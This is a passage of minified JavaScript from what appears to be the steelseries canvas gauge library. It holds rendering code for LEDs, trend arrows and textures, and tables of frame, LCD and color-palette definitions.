l,u,s=n/2,h=n/2,e,c=n.toString()+i+r.outerColor_ON;if(!o.cache[c]){l=t(n,n),u=l.getContext(\"2d\");switch(i){case 0:e=u.createRadialGradient(s,h,0,s,h,n*.5/2),e.addColorStop(0,r.innerColor1_OFF),e.addColorStop(.2,r.innerColor2_OFF),e.addColorStop(1,r.outerColor_OFF),u.fillStyle=e,u.beginPath(),u.arc(s,h,n*.5/2,0,Math.PI*2,!0),u.closePath(),u.fill(),e=u.createRadialGradient(s,h,0,s,h,n*.5/2),e.addColorStop(0,\"rgba(0, 0, 0, 0)\"),e.addColorStop(.8,\"rgba(0, 0, 0, 0)\"),e.addColorStop(1,\"rgba(0, 0, 0, 0.4)\"),u.fillStyle=e,u.beginPath(),u.arc(s,h,n*.5/2,0,Math.PI*2,!0),u.closePath(),u.fill(),e=u.createLinearGradient(0,.35*n,0,.35*n+.15*n),e.addColorStop(0,\"rgba(255, 255, 255, 0.4)\"),e.addColorStop(1,\"rgba(255, 255, 255, 0)\"),u.fillStyle=e,u.beginPath(),u.arc(s,.35*n+.2*n/2,n*.2,0,Math.PI*2,!0),u.closePath(),u.fill();break;case 1:e=u.createRadialGradient(s,h,0,s,h,n*.5/2),e.addColorStop(0,r.innerColor1_ON),e.addColorStop(.2,r.innerColor2_ON),e.addColorStop(1,r.outerColor_ON),u.fillStyle=e,u.beginPath(),u.arc(s,h,n*.5/2,0,Math.PI*2,!0),u.closePath(),u.fill(),e=u.createRadialGradient(s,h,0,s,h,n*.5/2),e.addColorStop(0,\"rgba(0, 0, 0, 0)\"),e.addColorStop(.8,\"rgba(0, 0, 0, 0)\"),e.addColorStop(1,\"rgba(0, 0, 0, 0.4)\"),u.fillStyle=e,u.beginPath(),u.arc(s,h,n*.5/2,0,Math.PI*2,!0),u.closePath(),u.fill(),e=u.createLinearGradient(0,.35*n,0,.35*n+.15*n),e.addColorStop(0,\"rgba(255, 255, 255, 0.4)\"),e.addColorStop(1,\"rgba(255, 255, 255, 0)\"),u.fillStyle=e,u.beginPath(),u.arc(s,.35*n+.2*n/2,n*.2,0,Math.PI*2,!0),u.closePath(),u.fill(),e=u.createRadialGradient(s,h,0,s,h,n/2),e.addColorStop(0,f(r.coronaColor,0).color),e.addColorStop(.6,f(r.coronaColor,.4).color),e.addColorStop(.7,f(r.coronaColor,.25).color),e.addColorStop(.8,f(r.coronaColor,.15).color),e.addColorStop(.85,f(r.coronaColor,.05).color),e.addColorStop(1,f(r.coronaColor,0).color),u.fillStyle=e,u.beginPath(),u.arc(s,h,n/2,0,Math.PI*2,!0),u.closePath(),u.fill()}o.cache[c]=l}return o.cache[c]},o.cache={},p=function(n,i,r){var c,f,b=0,h=0,y=n,a=i,v=Math.min(n,i)*.095,u,k=1,o=1,d=n-2,l=i-2,w=v-1,e=n.toString()+i+JSON.stringify(r);return p.cache[e]||(c=t(n,i),f=c.getContext(\"2d\"),u=f.createLinearGradient(0,h,0,h+a),u.addColorStop(0,\"#4c4c4c\"),u.addColorStop(.08,\"#666666\"),u.addColorStop(.92,\"#666666\"),u.addColorStop(1,\"#e6e6e6\"),f.fillStyle=u,s(f,b,h,y,a,v),f.fill(),u=f.createLinearGradient(0,o,0,o+l),u.addColorStop(0,r.gradientStartColor),u.addColorStop(.03,r.gradientFraction1Color),u.addColorStop(.49,r.gradientFraction2Color),u.addColorStop(.5,r.gradientFraction3Color),u.addColorStop(1,r.gradientStopColor),f.fillStyle=u,s(f,k,o,d,l,w),f.fill(),p.cache[e]=c),p.cache[e]},p.cache={},a=function(n,t,i,u){var e,f,o=n.toString()+t+i+u;return a.cache[o]||(e=r.createElement(\"canvas\"),f=e.getContext(\"2d\"),e.width=n,e.height=n,f.fillStyle=t,i?(f.beginPath(),f.moveTo(n*.5,n),f.lineTo(0,0),f.lineTo(n,0),f.closePath(),f.fill()):u?(f.beginPath(),f.moveTo(n,n*.5),f.lineTo(0,0),f.lineTo(0,n),f.closePath(),f.fill()):(f.beginPath(),f.moveTo(n*.5,0),f.lineTo(n,n),f.lineTo(0,n),f.closePath(),f.fill()),a.cache[o]=e),a.cache[o]},a.cache={},d=function(n,i,r){var e=n*2,l,u,o,v,c=i.state+n+JSON.stringify(r),s=function(){var t=r[0];i.state===\"up\"?(o=u.createRadialGradient(.5*n,.2*e,0,.5*n,.2*e,.5*n),o.addColorStop(0,t.innerColor1_ON),o.addColorStop(.2,t.innerColor2_ON),o.addColorStop(1,t.outerColor_ON)):(o=u.createLinearGradient(0,0,0,.5*e),o.addColorStop(0,\"#323232\"),o.addColorStop(1,\"#5c5c5c\")),u.fillStyle=o,u.beginPath(),u.moveTo(.5*n,0),u.lineTo(n,.2*e),u.lineTo(.752*n,.2*e),u.lineTo(.752*n,.37*e),u.lineTo(.252*n,.37*e),u.lineTo(.252*n,.2*e),u.lineTo(0,.2*e),u.closePath(),u.fill(),i.state!==\"up\"?(u.strokeStyle=\"rgba(0, 0, 0, 0.4)\",u.beginPath(),u.moveTo(0,.2*e),u.lineTo(.5*n,0),u.lineTo(n,.2*e),u.moveTo(.252*n,.2*e),u.lineTo(.252*n,.37*e),u.stroke(),u.strokeStyle=\"rgba(255, 255, 255, 0.3)\",u.beginPath(),u.moveTo(.252*n,.37*e),u.lineTo(.752*n,.37*e),u.lineTo(.752*n,.2*e),u.lineTo(n,.2*e),u.stroke()):(o=u.createRadialGradient(.5*n,.2*e,0,.5*n,.2*e,.7*n),o.addColorStop(0,f(t.coronaColor,0).color),o.addColorStop(.5,f(t.coronaColor,.3).color),o.addColorStop(.7,f(t.coronaColor,.2).color),o.addColorStop(.8,f(t.coronaColor,.1).color),o.addColorStop(.85,f(t.coronaColor,.05).color),o.addColorStop(1,f(t.coronaColor,0).color),u.fillStyle=o,u.beginPath(),u.arc(.5*n,.2*e,.7*n,0,Math.PI*2,!0),u.closePath(),u.fill())},h=function(){var t=r[1];u.beginPath(),i.state===\"steady\"?(o=t.outerColor_ON,u.fillStyle=o,u.rect(.128*n,.41*e,.744*n,.074*e),u.rect(.128*n,.516*e,.744*n,.074*e),u.closePath(),u.fill()):(o=u.createLinearGradient(0,.41*e,0,.41*e+.074*e),o.addColorStop(0,\"#323232\"),o.addColorStop(1,\"#5c5c5c\"),u.fillStyle=o,u.rect(.128*n,.41*e,.744*n,.074*e),u.closePath(),u.fill(),o=u.createLinearGradient(0,.516*e,0,.516*e+.074*e),o.addColorStop(0,\"#323232\"),o.addColorStop(1,\"#5c5c5c\"),u.fillStyle=o,u.rect(.128*n,.516*e,.744*n,.074*e),u.closePath(),u.fill()),i.state!==\"steady\"?(u.strokeStyle=\"rgba(0, 0, 0, 0.4)\",u.beginPath(),u.moveTo(.128*n,.41*e+.074*e),u.lineTo(.128*n,.41*e),u.lineTo(.128*n+.744*n,.41*e),u.stroke(),u.beginPath(),u.moveTo(.128*n,.516*e+.074*e),u.lineTo(.128*n,.516*e),u.lineTo(.128*n+.744*n,.516*e),u.stroke(),u.strokeStyle=\"rgba(255, 255, 255, 0.3)\",u.beginPath(),u.moveTo(.128*n+.744*n,.41*e),u.lineTo(.128*n+.744*n,.41*e+.074*e),u.lineTo(.128*n,.41*e+.074*e),u.stroke(),u.beginPath(),u.moveTo(.128*n+.744*n,.516*e),u.lineTo(.128*n+.744*n,.516*e+.074*e),u.lineTo(.128*n,.516*e+.074*e),u.stroke()):(o=u.createRadialGradient(.5*n,.5*e,0,.5*n,.5*e,.7*n),o.addColorStop(0,f(t.coronaColor,0).color),o.addColorStop(.5,f(t.coronaColor,.3).color),o.addColorStop(.7,f(t.coronaColor,.2).color),o.addColorStop(.8,f(t.coronaColor,.1).color),o.addColorStop(.85,f(t.coronaColor,.05).color),o.addColorStop(1,f(t.coronaColor,0).color),u.fillStyle=o,u.beginPath(),u.arc(.5*n,.5*e,.7*n,0,Math.PI*2,!0),u.closePath(),u.fill())},a=function(){var t=r[2];i.state===\"down\"?(o=u.createRadialGradient(.5*n,.8*e,0,.5*n,.8*e,.5*n),o.addColorStop(0,t.innerColor1_ON),o.addColorStop(.2,t.innerColor2_ON),o.addColorStop(1,t.outerColor_ON)):(o=u.createLinearGradient(0,.63*e,0,e),o.addColorStop(0,\"#323232\"),o.addColorStop(1,\"#5c5c5c\")),u.beginPath(),u.fillStyle=o,u.moveTo(.5*n,e),u.lineTo(n,.8*e),u.lineTo(.725*n,.8*e),u.lineTo(.725*n,.63*e),u.lineTo(.252*n,.63*e),u.lineTo(.252*n,.8*e),u.lineTo(0,.8*e),u.closePath(),u.fill(),i.state!==\"down\"?(u.strokeStyle=\"rgba(0, 0, 0, 0.4)\",u.beginPath(),u.moveTo(0,.8*e),u.lineTo(.252*n,.8*e),u.moveTo(.252*n,.63*e),u.lineTo(.752*n,.63*e),u.stroke(),u.beginPath(),u.moveTo(.752*n,.8*e),u.lineTo(n,.8*e),u.stroke(),u.strokeStyle=\"rgba(255, 255, 255, 0.3)\",u.beginPath(),u.moveTo(0,.8*e),u.lineTo(.5*n,e),u.lineTo(n,.8*e),u.stroke(),u.beginPath(),u.moveTo(.752*n,.8*e),u.lineTo(.752*n,.63*e),u.stroke()):(o=u.createRadialGradient(.5*n,.8*e,0,.5*n,.8*e,.7*n),o.addColorStop(0,f(t.coronaColor,0).color),o.addColorStop(.5,f(t.coronaColor,.3).color),o.addColorStop(.7,f(t.coronaColor,.2).color),o.addColorStop(.8,f(t.coronaColor,.1).color),o.addColorStop(.85,f(t.coronaColor,.05).color),o.addColorStop(1,f(t.coronaColor,0).color),u.fillStyle=o,u.beginPath(),u.arc(.5*n,.8*e,.7*n,0,Math.PI*2,!0),u.closePath(),u.fill())};if(!d.cache[c]){l=t(n*2,n*4),u=l.getContext(\"2d\"),u.translate(n*.5,n*.5);switch(i.state){case\"up\":a(),h(),s();break;case\"steady\":a(),s(),h();break;case\"down\":default:s(),h(),a()}d.cache[c]=l}return d.cache[c]},d.cache={};var ct=function(n,t,i,r,u,f,e,o,s,h){h=undefined===h?h=steelseries.GaugeType.TYPE1:h,n.save(),n.textAlign=o?\"center\":\"left\",n.textBaseline=\"middle\",n.strokeStyle=f.labelColor.getRgbaColor(),n.fillStyle=f.labelColor.getRgbaColor(),o?(n.font=.046728*t+\"px sans-serif\",n.fillText(r,t/2,i*.3,t*.3),n.fillText(u,t/2,i*.38,t*.3)):e?(n.font=.1*t+\"px sans-serif\",n.save(),n.translate(.671428*t,.1375*i),n.rotate(1.570796),n.fillText(r,0,0),n.translate(-.671428*t,-.1375*i),n.restore(),n.font=.071428*t+\"px sans-serif\",s?h.type===\"type2\"?(n.textAlign=\"right\",n.fillText(u,.36*t,i*.79,t*.25)):n.fillText(u,.63*t,i*.85,t*.2):(n.textAlign=\"center\",h.type===\"type2\"?n.fillText(u,t/2,i*.92,t*.2):n.fillText(u,t/2,i*.89,t*.2))):(n.font=.035*t+\"px sans-serif\",n.fillText(r,t*.15,i*.25,t*.3),n.font=.025*t+\"px sans-serif\",n.fillText(u,t*.0625,i*.7,t*.07)),n.restore()},vi=ii(12,12,function(n){var u=n.canvas.width,t=n.canvas.height,f=0,r=0,i;n.save(),n.save(),n.beginPath(),n.rect(0,0,u*.5,t*.5),n.closePath(),n.restore(),i=n.createLinearGradient(0,r*t,0,.5*t+r*t),i.addColorStop(0,\"rgb(35, 35, 35)\"),i.addColorStop(1,\"rgb(23, 23, 23)\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(u*.083333,0,u*.333333,t*.416666),n.closePath(),n.restore(),f=.083333,r=0,i=n.createLinearGradient(0,r*t,0,.416666*t+r*t),i.addColorStop(0,\"rgb(38, 38, 38)\"),i.addColorStop(1,\"rgb(30, 30, 30)\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(u*.5,t*.5,u*.5,t*.5),n.closePath(),n.restore(),f=.5,r=.5,i=n.createLinearGradient(0,r*t,0,.5*t+r*t),i.addColorStop(0,\"rgb(35, 35, 35)\"),i.addColorStop(1,\"rgb(23, 23, 23)\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(u*.583333,t*.5,u*.333333,t*.416666),n.closePath(),n.restore(),f=.583333,r=.5,i=n.createLinearGradient(0,r*t,0,.416666*t+r*t),i.addColorStop(0,\"rgb(38, 38, 38)\"),i.addColorStop(1,\"rgb(30, 30, 30)\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(u*.5,0,u*.5,t*.5),n.closePath(),n.restore(),f=.5,r=0,i=n.createLinearGradient(0,r*t,0,.5*t+r*t),i.addColorStop(0,\"#303030\"),i.addColorStop(1,\"rgb(40, 40, 40)\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(u*.583333,t*.083333,u*.333333,t*.416666),n.closePath(),n.restore(),f=.583333,r=.083333,i=n.createLinearGradient(0,r*t,0,.416666*t+r*t),i.addColorStop(0,\"rgb(53, 53, 53)\"),i.addColorStop(1,\"rgb(45, 45, 45)\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(0,t*.5,u*.5,t*.5),n.closePath(),n.restore(),f=0,r=.5,i=n.createLinearGradient(0,r*t,0,.5*t+r*t),i.addColorStop(0,\"#303030\"),i.addColorStop(1,\"#282828\"),n.fillStyle=i,n.fill(),n.save(),n.beginPath(),n.rect(u*.083333,t*.583333,u*.333333,t*.416666),n.closePath(),n.restore(),f=.083333,r=.583333,i=n.createLinearGradient(0,r*t,0,.416666*t+r*t),i.addColorStop(0,\"#353535\"),i.addColorStop(1,\"#2d2d2d\"),n.fillStyle=i,n.fill(),n.restore()}),ci=ii(15,15,function(n){var i=n.canvas.width,t=n.canvas.height,r;n.save(),n.save(),n.beginPath(),n.rect(0,0,i,t),n.closePath(),n.restore(),n.fillStyle=\"#1D2123\",n.fill(),n.save(),n.beginPath(),n.moveTo(0,t*.266666),n.bezierCurveTo(0,t*.4,i*.066666,t*.466666,i*.2,t*.466666),n.bezierCurveTo(i*.333333,t*.466666,i*.4,t*.4,i*.4,t*.266666),n.bezierCurveTo(i*.4,t*.133333,i*.333333,t*.066666,i*.2,t*.066666),n.bezierCurveTo(i*.066666,t*.066666,0,t*.133333,0,t*.266666),n.closePath(),r=n.createLinearGradient(0,.066666*t,0,.466666*t),r.addColorStop(0,\"#000000\"),r.addColorStop(1,\"#444444\"),n.fillStyle=r,n.fill(),n.save(),n.beginPath(),n.moveTo(0,t*.2),n.bezierCurveTo(0,t*.333333,i*.066666,t*.4,i*.2,t*.4),n.bezierCurveTo(i*.333333,t*.4,i*.4,t*.333333,i*.4,t*.2),n.bezierCurveTo(i*.4,t*.066666,i*.333333,0,i*.2,0),n.bezierCurveTo(i*.066666,0,0,t*.066666,0,t*.2),n.closePath(),n.fillStyle=\"#050506\",n.fill(),n.save(),n.beginPath(),n.moveTo(i*.466666,t*.733333),n.bezierCurveTo(i*.466666,t*.866666,i*.533333,t*.933333,i*.666666,t*.933333),n.bezierCurveTo(i*.8,t*.933333,i*.866666,t*.866666,i*.866666,t*.733333),n.bezierCurveTo(i*.866666,t*.6,i*.8,t*.533333,i*.666666,t*.533333),n.bezierCurveTo(i*.533333,t*.533333,i*.466666,t*.6,i*.466666,t*.733333),n.closePath(),r=n.createLinearGradient(0,.533333*t,0,.933333*t),r.addColorStop(0,\"#000000\"),r.addColorStop(1,\"#444444\"),n.fillStyle=r,n.fill(),n.save(),n.beginPath(),n.moveTo(i*.466666,t*.666666),n.bezierCurveTo(i*.466666,t*.8,i*.533333,t*.866666,i*.666666,t*.866666),n.bezierCurveTo(i*.8,t*.866666,i*.866666,t*.8,i*.866666,t*.666666),n.bezierCurveTo(i*.866666,t*.533333,i*.8,t*.466666,i*.666666,t*.466666),n.bezierCurveTo(i*.533333,t*.466666,i*.466666,t*.533333,i*.466666,t*.666666),n.closePath(),n.fillStyle=\"#050506\",n.fill(),n.restore()}),li=function(n,i,r,u,f){function o(n,t){return n+=(2*Math.random()-1)*t|0,n<0?0:n>255?255:n}function e(n){return n<0?0:n>255?255:n}function s(n,t,i,r,u,f){var o,v,e,a,s,h,c,l;for(u<i||(u=i-1),a=1/(u*2+1),s=0,v=0;v<r;v++){for(h=c=l=0,o=0;o<u;o++)e=(s+o)*4,h+=n.data[e],c+=n.data[e+1],l+=n.data[e+2];for(o=0;o<i;o++)o>u&&(e=(s-u-1)*4,h-=n.data[e],c-=n.data[e+1],l-=n.data[e+2]),o+u<i&&(e=(s+u)*4,h+=n.data[e],c+=n.data[e+1],l+=n.data[e+2]),e=s*4,t.data[e]=h*a|0,t.data[e+1]=c*a|0,t.data[e+2]=l*a|0,t.data[e+3]=f,s++}}return this.fill=function(h,c,l,a){var k,d,ut,st,p,w,et,b,v,ot,ht=255,lt=n>>16&255,ct=n>>8&255,at=n&255,g=0,nt=255*r,vt,pt,yt,y,rt,it,tt,ft;h=Math.floor(h),c=Math.floor(c),l=Math.ceil(l),a=Math.ceil(a),p=l-h,w=a-c,et=t(p,w),b=et.getContext(\"2d\"),v=b.createImageData(p,w),ot=b.createImageData(p,w);if(f!==0)for(st=[],k=0;k<p;k++)st[k]=255*f*Math.sin(k/p*Math.PI)|0;for(ut=0;ut<w;ut++)for(i!==0&&(vt=pt=yt=0),d=0;d<p;d++)y=ut*p*4+d*4,rt=lt,it=ct,tt=at,f!==0&&(ft=st[d],rt+=ft,it+=ft,tt+=ft),u?(g=(2*Math.random()-1)*nt|0,v.data[y]=e(rt+g),v.data[y+1]=e(it+g),v.data[y+2]=e(tt+g),v.data[y+3]=ht):(v.data[y]=o(rt,nt),v.data[y+1]=o(it,nt),v.data[y+2]=o(tt,nt),v.data[y+3]=ht);return i>0?(s(v,ot,p,w,i,ht),b.putImageData(ot,h,c)):b.putImageData(v,h,c),et},this},n=function(n,t,i,r){function s(){e=k(n,255),f=k(t,255),u=k(i,255),o=k(r,1)}var e,f,u,o;arguments.length===1?(i=parseInt(n.substr(5,2),16),t=parseInt(n.substr(3,2),16),n=parseInt(n.substr(1,2),16),r=1):arguments.length===3&&(r=1),s(),this.getRed=function(){return e},this.setRed=function(n){e=k(n,255)},this.getGreen=function(){return f},this.setGreen=function(n){f=k(n,255)},this.getBlue=function(){return u},this.setBlue=function(n){u=k(n,255)},this.getAlpha=function(){return o},this.setAlpha=function(n){o=k(n,1)},this.getRgbaColor=function(){return\"rgba(\"+e+\", \"+f+\", \"+u+\", \"+o+\")\"},this.getRgbColor=function(){return\"rgb(\"+e+\", \"+f+\", \"+u+\")\"},this.getHexColor=function(){return\"#\"+e.toString(16)+f.toString(16)+u.toString(16)}},it=function(n,t,i){i=i===undefined?-Math.PI/2:i,this.fill=function(r,u,f,e,o){var h,s,p,v=2*Math.PI,c,a,w,b,y,k=180/Math.PI,d=e+(o-e)*.5,l=v/Math.max(360,o*2.2);for(r.save(),r.lineWidth=1.5,r.translate(u,f),r.rotate(i),r.translate(-u,-f),h=0,p=n.length-1;h<p;h++)for(c=v*n[h],a=v*n[h+1],w=a-c,b=t[h],y=t[h+1],s=c;s<a;s+=l)r.beginPath(),r.fillStyle=ui(b,y,w,s-c).getRgbaColor(),r.strokeStyle=r.fillStyle,e>0?r.arc(u,f,e,s+l,s,!0):r.moveTo(u,f),r.arc(u,f,o,s,s+l),r.fill(),r.stroke();r.restore()}},kt=function(n,t,i,r){this.getColorAt=function(n){var u=0,e=0,f=1,s=1,h=0,t,o;for(n=n<0?0:n>1?1:n,t=0;t<i.length;t++){i[t]<n&&u<i[t]&&(u=i[t],e=t);if(i[t]===n)return r[t];i[t]>n&&f>=i[t]&&(f=i[t],s=t)}return o=(n-u)/(f-u),ui(r[e],r[s],1,o)},this.getStart=function(){return n},this.getEnd=function(){return t}};Math.log10=function(n){return Math.log(n)/Math.LN10},function(){h=function(n,t,i,r,u,f){this.gradientStart=n,this.gradientFraction=t,this.gradientStop=i,this.labelColor=r,this.symbolColor=u,this.name=f}}(),function(){u=function(n,t,i,r,u,f){this.gradientStartColor=n,this.gradientFraction1Color=t,this.gradientFraction2Color=i,this.gradientFraction3Color=r,this.gradientStopColor=u,this.textColor=f}}(),function(){b=function(n,t,i,r,u,f){this.veryDark=n,this.dark=t,this.medium=i,this.light=r,this.lighter=u,this.veryLight=f}}(),function(){ut=function(n,t,i,r,u,f,e){this.innerColor1_ON=n,this.innerColor2_ON=t,this.outerColor_ON=i,this.coronaColor=r,this.innerColor1_OFF=u,this.innerColor2_OFF=f,this.outerColor_OFF=e}}(),function(){at=function(n){this.type=n}}(),function(){pt=function(n){this.type=n}}(),function(){ri=function(n){this.type=n}}(),function(){dt=function(n){this.style=n}}(),function(){g=function(n){this.design=n}}(),function(){l=function(n){this.type=n}}(),function(){lt=function(n){this.type=n}}(),function(){gt=function(n){this.format=n}}(),function(){bt=function(n){this.type=n}}(),function(){yt=function(n){this.state=n}}();var di={DARK_GRAY:new h(new n(0,0,0,1),new n(51,51,51,1),new n(153,153,153,1),new n(255,255,255,1),new n(180,180,180,1),\"DARK_GRAY\"),SATIN_GRAY:new h(new n(45,57,57,1),new n(45,57,57,1),new n(45,57,57,1),new n(167,184,180,1),new n(137,154,150,1),\"SATIN_GRAY\"),LIGHT_GRAY:new h(new n(130,130,130,1),new n(181,181,181,1),new n(253,253,253,1),new n(0,0,0,1),new n(80,80,80,1),\"LIGHT_GRAY\"),WHITE:new h(new n(255,255,255,1),new n(255,255,255,1),new n(255,255,255,1),new n(0,0,0,1),new n(80,80,80,1),\"WHITE\"),BLACK:new h(new n(0,0,0,1),new n(0,0,0,1),new n(0,0,0,1),new n(255,255,255,1),new n(150,150,150,1),\"BLACK\"),BEIGE:new h(new n(178,172,150,1),new n(204,205,184,1),new n(231,231,214,1),new n(0,0,0,1),new n(80,80,80,1),\"BEIGE\"),BROWN:new h(new n(245,225,193,1),new n(245,225,193,1),new n(255,250,240,1),new n(109,73,47,1),new n(89,53,27,1),\"BROWN\"),RED:new h(new n(198,93,95,1),new n(212,132,134,1),new n(242,218,218,1),new n(0,0,0,1),new n(90,0,0,1),\"RED\"),GREEN:new h(new n(65,120,40,1),new n(129,171,95,1),new n(218,237,202,1),new n(0,0,0,1),new n(0,90,0,1),\"GREEN\"),BLUE:new h(new n(45,83,122,1),new n(115,144,170,1),new n(227,234,238,1),new n(0,0,0,1),new n(0,0,90,1),\"BLUE\"),ANTHRACITE:new h(new n(50,50,54,1),new n(47,47,51,1),new n(69,69,74,1),new n(250,250,250,1),new n(180,180,180,1),\"ANTHRACITE\"),MUD:new h(new n(80,86,82,1),new n(70,76,72,1),new n(57,62,58,1),new n(255,255,240,1),new n(225,225,210,1),\"MUD\"),PUNCHED_SHEET:new h(new n(50,50,54,1),new n(47,47,51,1),new n(69,69,74,1),new n(255,255,255,1),new n(180,180,180,1),\"PUNCHED_SHEET\"),CARBON:new h(new n(50,50,54,1),new n(47,47,51,1),new n(69,69,74,1),new n(255,255,255,1),new n(180,180,180,1),\"CARBON\"),STAINLESS:new h(new n(130,130,130,1),new n(181,181,181,1),new n(253,253,253,1),new n(0,0,0,1),new n(80,80,80,1),\"STAINLESS\"),BRUSHED_METAL:new h(new n(50,50,54,1),new n(47,47,51,1),new n(69,69,74,1),new n(0,0,0,1),new n(80,80,80,1),\"BRUSHED_METAL\"),BRUSHED_STAINLESS:new h(new n(50,50,54,1),new n(47,47,51,1),new n(110,110,112,1),new n(0,0,0,1),new n(80,80,80,1),\"BRUSHED_STAINLESS\"),TURNED:new h(new n(130,130,130,1),new n(181,181,181,1),new n(253,253,253,1),new n(0,0,0,1),new n(80,80,80,1),\"TURNED\")},ki={BEIGE:new u(\"#c8c8b1\",\"rgb(241, 237, 207)\",\"rgb(234, 230, 194)\",\"rgb(225, 220, 183)\",\"rgb(237, 232, 191)\",\"#000000\"),BLUE:new u(\"#ffffff\",\"rgb(231, 246, 255)\",\"rgb(170, 224, 255)\",\"rgb(136, 212, 255)\",\"rgb(192, 232, 255)\",\"#124564\"),ORANGE:new u(\"#ffffff\",\"rgb(255, 245, 225)\",\"rgb(255, 217, 147)\",\"rgb(255, 201, 104)\",\"rgb(255, 227, 173)\",\"#503700\"),RED:new u(\"#ffffff\",\"rgb(255, 225, 225)\",\"rgb(253, 152, 152)\",\"rgb(252, 114, 115)\",\"rgb(254, 178, 178)\",\"#4f0c0e\"),YELLOW:new u(\"#ffffff\",\"rgb(245, 255, 186)\",\"rgb(210, 255, 0)\",\"rgb(158, 205, 0)\",\"rgb(210, 255, 0)\",\"#405300\"),WHITE:new u(\"#ffffff\",\"#ffffff\",\"rgb(241, 246, 242)\",\"rgb(229, 239, 244)\",\"#ffffff\",\"#000000\"),GRAY:new u(\"#414141\",\"rgb(117, 117, 117)\",\"rgb(87, 87, 87)\",\"#414141\",\"rgb(81, 81, 81)\",\"#ffffff\"),BLACK:new u(\"#414141\",\"#666666\",\"#333333\",\"#000000\",\"#333333\",\"#cccccc\"),GREEN:new u(\"rgb(33, 67, 67)\",\"rgb(33, 67, 67)\",\"rgb(29, 58, 58)\",\"rgb(28, 57, 57)\",\"rgb(23, 46, 46)\",\"rgba(0, 185, 165, 255)\"),BLUE2:new u(\"rgb(0, 68, 103)\",\"rgb(8, 109, 165)\",\"rgb(0, 72, 117)\",\"rgb(0, 72, 117)\",\"rgb(0, 68, 103)\",\"rgb(111, 182, 228)\"),BLUE_BLACK:new u(\"rgb(22, 125, 212)\",\"rgb(3, 162, 254)\",\"rgb(3, 162, 254)\",\"rgb(3, 162, 254)\",\"rgb(11, 172, 244)\",\"#000000\"),BLUE_DARKBLUE:new u(\"rgb(18, 33, 88)\",\"rgb(18, 33, 88)\",\"rgb(19, 30, 90)\",\"rgb(17, 31, 94)\",\"rgb(21, 25, 90)\",\"rgb(23, 99, 221)\"),BLUE_GRAY:new u(\"rgb(135, 174, 255)\",\"rgb(101, 159, 255)\",\"rgb(44, 93, 255)\",\"rgb(27, 65, 254)\",\"rgb(12, 50, 255)\",\"#b2b4ed\"),STANDARD:new u(\"rgb(131, 133, 119)\",\"rgb(176, 183, 167)\",\"rgb(165, 174, 153)\",\"rgb(166, 175, 156)\",\"rgb(175, 184, 165)\",\"rgb(35, 42, 52)\"),STANDARD_GREEN:new u(\"#ffffff\",\"rgb(219, 230, 220)\",\"rgb(179, 194, 178)\",\"rgb(153, 176, 151)\",\"rgb(114, 138, 109)\",\"#080C06\"),BLUE_BLUE:new u(\"rgb(100, 168, 253)\",\"rgb(100, 168, 253)\",\"rgb(95, 160, 250)\",\"rgb(80, 144, 252)\",\"rgb(74, 134, 255)\",\"#002cbb\"),RED_DARKRED:new u(\"rgb(72, 36, 50)\",\"rgb(185, 111, 110)\",\"rgb(148, 66, 72)\",\"rgb(83, 19, 20)\",\"rgb(7, 6, 14)\",\"#FE8B92\"),DARKBLUE:new u(\"rgb(14, 24, 31)\",\"rgb(46, 105, 144)\",\"rgb(19, 64, 96)\",\"rgb(6, 20, 29)\",\"rgb(8, 9, 10)\",\"#3DB3FF\"),LILA:new u(\"rgb(175, 164, 255)\",\"rgb(188, 168, 253)\",\"rgb(176, 159, 255)\",\"rgb(174, 147, 252)\",\"rgb(168, 136, 233)\",\"#076148\"),BLACKRED:new u(\"rgb(8, 12, 11)\",\"rgb(10, 11, 13)\",\"rgb(11, 10, 15)\",\"rgb(7, 13, 9)\",\"rgb(9, 13, 14)\",\"#B50026\"),DARKGREEN:new u(\"rgb(25, 85, 0)\",\"rgb(47, 154, 0)\",\"rgb(30, 101, 0)\",\"rgb(30, 101, 0)\",\"rgb(25, 85, 0)\",\"#233123\"),AMBER:new u(\"rgb(182, 71, 0)\",\"rgb(236, 155, 25)\",\"rgb(212, 93, 5)\",\"rgb(212, 93, 5)\",\"rgb(182, 71, 0)\",\"#593A0A\"),LIGHTBLUE:new u(\"rgb(125, 146, 184)\",\"rgb(197, 212, 231)\",\"rgb(138, 155, 194)\",\"rgb(138, 155, 194)\",\"rgb(125, 146, 184)\",\"#090051\"),SECTIONS:new u(\"#b2b2b2\",\"#ffffff\",\"#c4c4c4\",\"#c4c4c4\",\"#b2b2b2\",\"#000000\")},pi={RED:new b(new n(82,0,0,1),new n(158,0,19,1),new n(213,0,25,1),new n(240,82,88,1),new n(255,171,173,1),new n(255,217,218,1)),GREEN:new b(new n(8,54,4,1),new n(0,107,14,1),new n(15,148,0,1),new n(121,186,37,1),new n(190,231,141,1),new n(234,247,218,1)),BLUE:new b(new n(0,11,68,1),new n(0,73,135,1),new n(0,108,201,1),new n(0,141,242,1),new n(122,200,255,1),new n(204,236,255,1)),ORANGE:new b(new n(118,83,30,1),new n(215,67,0,1),new n(240,117,0,1),new n(255,166,0,1),new n(255,255,128,1),new n(255,247,194,1)),YELLOW:new b(new n(41,41,0,1),new n(102,102,0,1),new n(177,165,0,1),new n(255,242,0,1),new n(255,250,153,1),new n(255,252,204,1)),CYAN:new b(new n(15,109,109,1),new n(0,109,144,1),new n(0,144,191,1),new n(0,174,239,1),new n(153,223,249,1),new n(204,239,252,1)),MAGENTA:new b(new n(98,0,114,1),new n(128,24,72,1),new n(191,36,107,1),new n(255,48,143,1),new n(255,172,210,1),new n(255,214,23,1)),WHITE:new b(new n(210,210,210,1),new n(220,220,220,1),new n(235,235,235,1),new n(255,255,255,1),new n(255,255,255,1),new n(255,255,255,1)),GRAY:new b(new n(25,25,25,1),new n(51,51,51,1),new n(76,76,76,1),new n(128,128,128,1),new n(204,204,204,1),new n(243,243,243,1)),BLACK:new b(new n(0,0,0,1),new n(5,5,5,1),new n(10,10,10,1),new n(15,15,15,1),new n(20,20,20,1),new n(25,25,25,1)),RAITH:new b(new n(0,32,65,1),new n(0,65,125,1),new n(0,106,172,1),new n(130,180,214,1),new n(148,203,242,1),new n(191,229,255,1)),GREEN_LCD:new b(new n(0,55,45,1),new n(15,109,93,1),new 